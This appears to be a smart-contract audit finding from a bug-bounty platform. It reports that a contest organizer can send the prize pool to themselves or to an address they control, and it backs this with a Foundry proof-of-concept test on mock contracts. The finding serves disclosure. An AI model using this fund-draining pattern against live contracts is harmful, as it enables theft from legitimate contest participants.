Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: medium
Valid

Organizer can maliciously claim funds with their own address or one they control

Summary

An organizer has the ability to maliciously claim all funds to themselves either through using the organizer address as the winner, or by using another address that they control as the winner.

Vulnerability Details

ProxyFactory public proxyFactory;
MockERC20 public mockERC20;
Distributor public distributor;
address public stadiumAddress = makeAddr("stadium");
address public factoryAdmin = makeAddr("factoryAdmin");
address public tokenMinter = makeAddr("tokenMinter");
address public organizer = address(11);
address public sponsor = address(12);
address public supporter = address(13);
function setUp() public {
mockERC20 = new MockERC20("MockERC20", "MERC");
vm.prank(factoryAdmin);
address[] memory tokensToWhitelist = new address[](1);
tokensToWhitelist[0] = address(mockERC20);
proxyFactory = new ProxyFactory(tokensToWhitelist);
distributor = new Distributor(address(proxyFactory), stadiumAddress);
mockERC20.mint(organizer, 10_000 ether);
mockERC20.mint(sponsor, 10_000 ether);
mockERC20.mint(supporter, 10_000 ether);
}
function testOrganizerTakeFundsPOC() public {
// before
vm.startPrank(factoryAdmin);
bytes32 randomId = keccak256(abi.encode("Jason", "001"));
proxyFactory.setContest(organizer, randomId, block.timestamp + 8 days, address(distributor));
vm.stopPrank();
bytes32 salt = keccak256(abi.encode(organizer, randomId, address(distributor)));
address proxyAddress = proxyFactory.getProxyAddress(salt, address(distributor));
vm.startPrank(sponsor);
mockERC20.transfer(proxyAddress, 10000 ether);
vm.stopPrank();
assertEq(mockERC20.balanceOf(proxyAddress), 10000 ether);
assertEq(mockERC20.balanceOf(organizer), 10000 ether);
assertEq(mockERC20.balanceOf(stadiumAddress), 0 ether);
bytes32 randomId_ = keccak256(abi.encode("Jason", "001"));
bytes memory data = createData();
vm.warp(9 days); // 9 days later
vm.startPrank(organizer);
address proxy = proxyFactory.deployProxyAndDistribute(randomId_, address(distributor), data);
vm.stopPrank();
// after
assertEq(mockERC20.balanceOf(organizer), 19500 ether);
assertEq(mockERC20.balanceOf(stadiumAddress), 500 ether);
}
function createData() public view returns (bytes memory data) {
address[] memory winners = new address[](1);
winners[0] = organizer;
uint256[] memory percentages_ = new uint256[](1);
percentages_[0] = 9500;
data = abi.encodeWithSelector(Distributor.distribute.selector, mockERC20, winners, percentages_, "");
}

Impact

The organizer is able to maliciously claim all funds to themselves either through using the organizer address as the winner, or by using another address that they control as the winner. Thus a legitimate supporter can create the best solution to the contest, and receive no funds, while the organizer takes all of the contest pot minus fees.

Tools Used

Manual Analysis, Foundry

Recommendations

N/A

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.